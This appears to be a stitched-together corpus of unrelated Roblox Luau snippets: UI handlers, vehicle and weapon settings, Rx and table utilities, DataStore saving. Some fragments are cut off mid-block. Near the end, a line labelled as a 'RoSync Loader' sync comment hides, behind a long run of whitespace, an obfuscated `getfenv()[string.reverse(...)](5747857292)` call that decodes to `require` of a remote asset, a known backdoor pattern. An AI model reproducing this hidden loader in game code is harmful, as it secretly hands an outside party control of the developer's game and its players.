Roblox/luau_corpus huggingface dataset:
--[=[
	The value of the ValueObject
	@prop Value T
	@within ValueObject
]=]
function ValueObject:__index(index)
	if index == "Value" then
		return self._value
	elseif ValueObject[index] then
		return ValueObject[index]
	elseif index == "_value" then
		return nil -- Edge case
	else
		error(("%q is not a member of ValueObject"):format(tostring(index)))
	end
end

function ValueObject:__newindex(index, value)
	if index == "Value" then
		local previous = rawget(self, "_value")
		if previous ~= value then
			rawset(self, "_value", value)

			local maid = Maid.new()

			self.Changed:Fire(value, previous, maid)

			self._maid._valueMaid = maid
		end
	else
		error(("%q is not a member of ValueObject"):format(tostring(index)))
	end
end
-- << MESSAGING SERVICE >>
spawn(function()
	--testSub:Disconnect()
	for _, topicName in pairs(topics) do
		main.messagingService:SubscribeAsync(topicName, function(message)
			local data = message.Data
			
			if topicName == "BeginPoll" then
				local newData, scores = main:GetModule("cf"):BeginPoll(data)
				main.messagingService:PublishAsync(data.UniquePollTopic, scores)
				
			elseif topicName == "DisplayPollResultsToServer" then
				for i, plr in pairs(main.players:GetChildren()) do
					main:GetModule("cf"):DisplayPollResults(plr, data)
				end	
			
			elseif topicName == "GetAmountOfServers" then
				local topicName = data
				main.messagingService:PublishAsync(topicName)
			
			elseif topicName == "GlobalAlert" then
				for i,plr in pairs(main.players:GetChildren()) do
					main.signals.CreateAlert:FireClient(plr, {data.Title, data.Message})
				end
			
			elseif topicName == "GlobalCommands" then
				local data = message.Data
				-------------------------------------------
				if data.Name == "globalPlace" then
					local placeId = data.PlaceId
					local placeName = data.PlaceName
					for i, plr in pairs(main.players:GetChildren()) do
						local notice = {
							"Global Teleport",
							"Click to teleport to "..placeName.." ["..placeId.."]",
							{"Teleport", placeId},
						}
						main.signals.Notice:FireClient(plr, notice)
					end
				end
				
				
				-------------------------------------------
				if data.Name == "globalForcePlace" then
					local placeId = data.PlaceId
					local placeName = data.PlaceName
					for i, plr in pairs(main.players:GetChildren()) do
						main.teleportService:Teleport(placeId, plr)
					end
				end
				
				
				-------------------------------------------
			end--]]
		end)
	end
end)



return module
--Main
return require(ReplicatedStorage.Systems.EntitySystem.EntityServer.EntityComponent)
-- Connection class

local Connection = {}
Connection.__index = Connection

function Connection.new(signal, fn)
	return setmetatable({
		_connected = true,
		_signal = signal,
		_fn = fn,
		_next = false,
	}, Connection)
end

function Connection:Disconnect()
	assert(self._connected, "Connection already disconnected.")
	self._connected = false

	if self._signal._handlerListHead == self then
		self._signal._handlerListHead = self._next
	else
		local prev = self._signal._handlerListHead
		while prev and prev._next ~= self do
			prev = prev._next
		end
		if prev then
			prev._next = self._next
		end
	end
end
-- EVENTS --
local ResizeEvent = ParentContainer.Attribs.ResizeEvent

local RowCt = 5
local CellSize = 0.25
local Padding = 10
local ContainerPadding_Bottom = 32

function getNewCellSize()
	 CellSize = (Container.AbsoluteSize.X / RowCt) - Padding
end

function updateLayout()
	--[[
	if #Container.Cells:GetChildren() < 1 then
		Container.Parent.HeaderFrame.Visible = false
	else
		Container.Parent.HeaderFrame.Visible = true
	end
	]]
	getNewCellSize()

	local cells = Container.Cells:GetChildren()
	
	for i, cell in pairs(cells) do
		local index = i - 1
		local posX = ((index % RowCt) * (CellSize + Padding)) + (Padding / 2)
		local posY = (math.floor(index / RowCt) * (CellSize + Padding)) + (Padding / 2)

		cell.Size = UDim2.fromOffset(CellSize, CellSize)
		cell.Position = UDim2.fromOffset(posX, posY)
	end

	local rows = math.ceil((#cells / RowCt))

	local newSize = UDim2.new(1, -24, 0, (rows * CellSize + Padding) + ContainerPadding_Bottom)
	Container.Size = newSize

	ResizeEvent:Fire(ParentContainer.Name)
end


Container.Cells.ChildAdded:Connect(updateLayout)
Container.Cells.ChildRemoved:Connect(updateLayout)
Container:GetPropertyChangedSignal("AbsoluteSize"):Connect(updateLayout)
--//Handling//--
local SteeringAngle = 40 --{Steering angle in degrees}
local SteerSpeed = 0.05 --{.01 being slow, 1 being almost instantly}
local TiresFront = 2 --{1 = eco, 2 = road, 3 = sport}
local TiresRear = 2 --{1 = eco, 2 = road, 3 = sport}
local DownforceF = 0 --{[0-5] Provides downforce to the front at the cost of drag}
local DownforceR = 0 --{[0-5] Provides downforce to the rear at the cost of drag}
local BrakeBias = 72 --{100 = all on front || 0 = all on rear}
local BrakePower = 80  --{100 = strong brakes 0 = close to no brakes}
local TC = false
local ABS = true
-- References
Support.ImportServices();
SyncAPI = Tool.SyncAPI;
Player = Players.LocalPlayer;
--[=[
	@within TableUtil
	@function Reduce
	@param tbl table
	@param predicate (accumulator: any, value: any, index: any, tbl: table) -> result: any
	@return table

	Performs a reduce operation against the given table, which can be used to
	reduce the table into a single value. This could be used to sum up a table
	or transform all the values into a compound value of any kind.

	For example:

	```lua
	local t = {10, 20, 30, 40}
	local result = TableUtil.Reduce(t, function(accum, value)
		return accum + value
	end)
	print(result) --> 100
	```
]=]
local function Reduce(t: Table, f: ReducePredicate, init: any?): any
	assert(type(t) == "table", "First argument must be a table")
	assert(type(f) == "function", "Second argument must be a function")
	local result = init
	if #t > 0 then
		local start = 1
		if init == nil then
			result = t[1]
			start = 2
		end
		for i = start,#t do
			result = f(result, t[i], i, t)
		end
	else
		local start = nil
		if init == nil then
			result = next(t)
			start = result
		end
		for k,v in next,t,start do
			result = f(result, v, k, t)
		end
	end
	return result
end
--// Handling Settings		
	Firerate = 60 / 875; -- 60 = 1 Minute, 700 = Rounds per that 60 seconds. DO NOT TOUCH THE 60!
	
	FireMode = 2; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive
--[[
	Function called when the client is notified of a player state update.
]]
function UIController.onClientStateUpdated(currentState, currentTick)
	if currentState == "pregame" then
		UIController.setView("mainMenu")
	elseif currentState == "warmup" then
		UIController.setView("warmup")
	elseif currentState == "game" then
		UIController.setView("game", currentTick)
	elseif currentState == "spectating" then
		UIController.setView("spectating")
	elseif currentState == "finished" then
		UIController.setView("finished")
	elseif currentState == "dead" then
		UIController.setView("dead")
	elseif currentState == "postgame" then
		UIController.setView("postGame")
	end
end
--[[
	Server Module
--]]

local Settings = { --, not ; ? | server module!!
	 BulletHoleTexture = 'http://www.roblox.com/asset/?id=64291961'
	,Damage = {20, 29}
	,OneHanded = false --DONT USE YET
	,FakeArms = true
    ,FakeArmTransparency = 0
    ,RightPos = CFrame.new(-1,0.7,0.45) * CFrame.Angles(math.rad(-90), 0, 0)
	,LeftPos = CFrame.new(0.8,0.8,0.3) * CFrame.Angles(math.rad(-90), math.rad(45), 0)
}

return Settings
-- / Cutscene Gui's Objects / --
local CameraPart = CutsceneGui.CameraPart
------
H = false
UIS.InputBegan:connect(function(i,GP) if not GP then if i.KeyCode == Enum.KeyCode.X then
if H == false then
script.Parent.HLight.ImageColor3 = Color3.fromRGB(255, 224, 67)
H = true
else
script.Parent.HLight.ImageColor3 = Color3.fromRGB(255,255,255)
H = false
end
end end end)





function PBrake()
if script.Parent.Parent.Values.PBrake.Value == true then
	script.Parent.PBrake.ImageColor3 = Color3.fromRGB(255,38,38)
else
	script.Parent.PBrake.ImageColor3 = Color3.fromRGB(255,255,255)
end
end

script.Parent.Parent.Values.PBrake.Changed:connect(PBrake)


script.Parent.Parent.Values.Velocity.Changed:connect(function(property)
	script.Parent.Speedo.Needle.Rotation =90 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed)
	script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)

script.Parent.Speed.MouseButton1Click:connect(function()
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)

wait(.1)
PBrake()
--What happens with DepositBox1--
depositpr1.Triggered:Connect(function()
	driLL1.Transparency = 0
	drilling1.Playing = true
	drillingeffect1.Enabled = true
	driLL1.CanCollide = true
	wait(timetodrill)
	driLL1.CanCollide = false
	drilling1.Playing = false
	drillingeffect1.Enabled = false
	driLL1.Transparency = 1
	explosionvault1.Enabled = true
	explosionvaultsfx1.Playing = true
	wait(1)
	explosionvault1.Enabled = false
	depositpr1.Parent.Parent.Transparency = 1
	depositpr1.Parent.Parent.CanCollide = false
	depositpr1.Enabled = false
	wait(resetcooldown)
	depositpr1.Parent.Parent.Transparency = 0
	depositpr1.Parent.Parent.CanCollide = true
	depositpr1.Enabled = true
end)
--Made by Luckymaxer

Players = game:GetService("Players")
Player = Players.LocalPlayer
Character = Player.Character
Humanoid = Character:WaitForChild("Humanoid")

Humanoid.Changed:connect(function(Property)
	if Property == "Jump" then
		Humanoid.Jump = false
	end
end)
--- Invoked
Signal.Invoked = function(funcName)
	funcName = string.lower(funcName)
	local func = GetFunc(funcName)

	--
	return func
end
--------END SIDE SQUARES--------
end
end

end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
--[=[
	Observes the children with a specific name.

	@param parent Instance
	@param className string
	@param name string
	@return Observable<Brio<Instance>>
]=]
function RxInstanceUtils.observeChildrenOfNameBrio(parent, className, name)
	assert(typeof(parent) == "Instance", "Bad parent")
	assert(type(className) == "string", "Bad className")
	assert(type(name) == "string", "Bad name")

	return Observable.new(function(sub)
		local topMaid = Maid.new()

		local function handleChild(child)
			if not child:IsA(className) then
				return
			end

			local maid = Maid.new()

			local function handleNameChanged()
				if child.Name == name then
					local brio = Brio.new(child)
					maid._brio = brio

					sub:Fire(brio)
				else
					maid._brio = nil
				end
			end

			topMaid[child] = maid

			maid:GiveTask(child:GetPropertyChangedSignal("Name"):Connect(handleNameChanged))
			handleNameChanged()
		end

		topMaid:GiveTask(parent.ChildAdded:Connect(handleChild))
		topMaid:GiveTask(parent.ChildRemoved:Connect(function(child)
			topMaid[child] = nil
		end))

		for _, child in pairs(parent:GetChildren()) do
			handleChild(child)
		end

		return topMaid
	end)
end
--[[
	Returns an iterator over the children of an element.
	`elementOrElements` may be one of:
	* a boolean
	* nil
	* a single element
	* a fragment
	* a table of elements

	If `elementOrElements` is a boolean or nil, this will return an iterator with
	zero elements.

	If `elementOrElements` is a single element, this will return an iterator with
	one element: a tuple where the first value is ElementUtils.UseParentKey, and
	the second is the value of `elementOrElements`.

	If `elementOrElements` is a fragment or a table, this will return an iterator
	over all the elements of the array.

	If `elementOrElements` is none of the above, this function will throw.
]]
function ElementUtils.iterateElements<K>(elementOrElements): (Iterator<K, Element>, any, nil)
	local richType = Type.of(elementOrElements)

	-- Single child
	if richType == Type.Element then
		local called = false

		return function(_, _)
			if called then
				return nil
			else
				called = true
				return ElementUtils.UseParentKey, elementOrElements
			end
		end
	end

	local regularType = typeof(elementOrElements)

	if elementOrElements == nil or regularType == "boolean" then
		return (noop :: any) :: Iterator<K, Element>
	end

	if regularType == "table" then
		return pairs(elementOrElements)
	end

	error("Invalid elements")
end
-- setings	
local SearchDistance = 	80 	-- How far a player can be before it detects you

local ZombieDamage = 	5		-- How much damage the Zombie inficts towards the player
local DamageWait = 		2		-- How many seconds to wait before it can damage the player again

local WanderX, WanderZ = 30, 30
--------END RIGHT DOOR --------
end

end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
-- Events
local Events = ReplicatedStorage.Events
local UpdatePointsEvent = Events.UpdatePoints
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 1 -- cooldown for use of the tool again

ZoneModelName = "Star" -- name the zone model

MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
-- Load Roblox Occlusion Modules
local Invisicam = require(script:WaitForChild("Invisicam"))
local Poppercam do
	local success, useNewPoppercam = pcall(UserSettings().IsUserFeatureEnabled, UserSettings(), "UserNewPoppercam4")
	if success and useNewPoppercam then
		Poppercam = require(script:WaitForChild("Poppercam"))
	else
		Poppercam = require(script:WaitForChild("Poppercam_Classic"))
	end
end
--Character.Parent = Services.ServerStorage

for Angle = 0, 360,(360/(Light_Segments-1)) do --Create LightBall
	local LightClone = LightBall:Clone()
	LightClone.CFrame = (Center.CFrame * CFrame.Angles(math.rad(90),math.rad(Angle),0)) * CFrame.new(0,0,1)
	LightBallAnimations[#LightBallAnimations+1] = {Start = Center.CFrame, Control = Center.CFrame:lerp((CFrame.new(TargetLocation)*(Center.CFrame-Center.CFrame.p)),.5)*CFrame.new(Seed:NextNumber(-Properties.OrbSpread,Properties.OrbSpread),Seed:NextNumber(-Properties.OrbSpread,Properties.OrbSpread),Seed:NextNumber(-Properties.OrbSpread,Properties.OrbSpread)), End = CFrame.new(TargetLocation)*(Center.CFrame-Center.CFrame.p), Object = LightClone}
	LightClone.Parent = workspace
end

local TrackedOrb = Create("ObjectValue"){
	Name = "TrackedOrb",
	Value = LightBallAnimations[1].Object,
	Parent = TrackOrb
}
--[=[
	https://rxjs.dev/api/operators/mapTo
	@param ... any -- The value to map each source value to.
	@return (source: Observable<T>) -> Observable<T>
]=]
function Rx.mapTo(...)
	local args = table.pack(...)
	return function(source)
		assert(Observable.isObservable(source), "Bad observable")

		return Observable.new(function(sub)
			return source:Subscribe(function()
				sub:Fire(table.unpack(args, 1, args.n))
			end, sub:GetFailComplete())
		end)
	end
end
---------------------

colorchangingpart.Transparency = 0       
colorchangingpart.Material = Enum.Material.Neon -- set this to the material you want the part to be
-- Setting up names for the collision groups. PhysicsService handles everything with
-- the name of the group rather than referencing the group itself, so saving these
-- in strings helps keep things consistant
local playerGroup = "Players"
local npcGroup = "NPCs"
--[[
		___      _______                _     
	   / _ |____/ ___/ /  ___ ____ ___ (_)__ 
	  / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
	 /_/ |_|   \___/_//_/\_,_/___/___/_/___/
 						SecondLogic @ Inspare
]]


local autoscaling	= false					--Estimates top speed

local UNITS	= {								--Click on speed to change units
											--First unit is default	
	{
		units			= "MPH"				,
		scaling			= (10/12) * (60/88)	, -- 1 stud : 10 inches | ft/s to MPH
		maxSpeed		= 140				,
		spInc			= 10				, -- Increment between labelled notches
	},
	
	{
		units			= "KM/H"			,
		scaling			= (10/12) * 1.09728	, -- 1 stud : 10 inches | ft/s to KP/H
		maxSpeed		= 220				,
		spInc			= 20				, -- Increment between labelled notches
	},
	
	{
		units			= "SPS"				,
		scaling			= 1					, -- Roblox standard
		maxSpeed		= 240				,
		spInc			= 20				, -- Increment between labelled notches
	}
}
--If the above is true, what should they chat to force respawn?
force_respawn = "respawn"
----------------
--[[SETTINGS]]--
----------------

local ViewAccessories = false
local ViewHeadAccessories = false
local RealisticView = true
local AutoLockFirstPerson = true
--PUT THIS SCRIPT IN STARTERPACK, STOP DISLIKING IT BECAUSE YOU DIDN'T USE IT RIGHT

local sounds = game:GetService('SoundService')
local runtime = game:GetService('RunService')
script:WaitForChild('FootstepSounds').Parent = sounds
local materials = sounds:WaitForChild('FootstepSounds')
local plr = game.Players.LocalPlayer
repeat wait() until plr.Character
local char = plr.Character
local hrp = char.HumanoidRootPart
local hum = char.Humanoid
local walking

hum.Running:connect(function(speed)
	if speed > hum.WalkSpeed/2 then
		walking = true
	else
		walking = false
	end
end)

function getMaterial()
	local floormat = hum.FloorMaterial
	if not floormat then floormat = 'Air' end
	local matstring = string.split(tostring(floormat),'Enum.Material.')[2]
	local material = matstring
	return material
end

local lastmat
runtime.Heartbeat:connect(function()
	if walking then
		local material = getMaterial()
		if material ~= lastmat and lastmat ~= nil then
			materials[lastmat].Playing = false
		end
		local materialSound = materials[material]
		materialSound.Playing = true
		lastmat = material
	else
		for _,sound in pairs(materials:GetChildren()) do
			sound.Playing = false
		end
	end
end)
-- non firing

GUI.MobileButtons.FireButton.MouseButton1Up:connect(function()
	Down = false
end)
--Do Not Edit--
function Update()
if Player.Character.Humanoid.Jump == true then
FirstJump = true
else
FirstJump = false
MidJump = false
Player.Character.Humanoid.WalkSpeed = 36 -- This change the walkspeed
end
end

Mouse.KeyDown:connect(onKeyDown)
Player.Character.Humanoid.Changed:connect(Update)
--[[ Last synced 10/14/2020 09:27 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--// bolekinds

local plr = script.Parent.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Click:Connect(function()
	if plr.YouCash.Value >= 2000 and game.ServerStorage.ServerData.CatMaid.Value == false then
		script.Parent.Parent.Parent.Ching:Play()
		plr.YouCash.Value -= 2000
		game.ServerStorage.ServerData.CatMaid.Value = true
	end
end)
-- A set of all stack traces that have called warnOnce.
local onceUsedLocations = {}
-- Implementation of signal w/o bindable event

local Signal = {}
Signal.__index = {}

function Signal.new()
	return setmetatable({connections = {}}, Signal)
end

function Signal:Connect(func)
	self.connections[func] = func

	local disconnect = function()
		self.connections[func] = nil
	end

	return disconnect
end

function Signal:Fire(...)
	for _, func in pairs(self.connections) do
		func(...)
	end
end

return Signal
-----------------------------------------------| Save Stats |------------------------------------------------------------


local DataStoreService = game:GetService("DataStoreService")
local myDataStore = DataStoreService:GetDataStore("myDataStore")


game.Players.PlayerAdded:Connect(function(player)
	local leaderstats = Instance.new("Folder")
	leaderstats.Name = "leaderstats"
	leaderstats.Parent = player

	local Time = Instance.new("IntValue")
	Time.Name = "Level"
	Time.Parent = leaderstats

	local playerUserId = "Player"..player.UserId

	local data 

	local success, errormessage = pcall(function()
		data = myDataStore:GetAsync(playerUserId) 
	end)


	if success then
		Time.Value = data  
	end

	while wait(1) do
		player.leaderstats.Time.Value = player.leaderstats.Time.Value + 0 --Don't change it or it will make it go up twice
	end
end)

game.Players.PlayerRemoving:Connect(function(player)
	local playerUserId = "Player"..player.UserId

	local data = player.leaderstats.Time.Value

	myDataStore:SetAsync(playerUserId, data)   

end)
--[[
	Examples
	
	print(FormatNumber.FormatLong(123456789))
	print(FormatNumber.FormatShort(123456789))
	print(FormatNumber.FormatLong(123456789.123))
	print(FormatNumber.FormatShort(123456789.123))
	print(FormatNumber.FormatLong(-123456789.69))
	print(FormatNumber.FormatShort(-123456.69))
]]--

return FormatNumber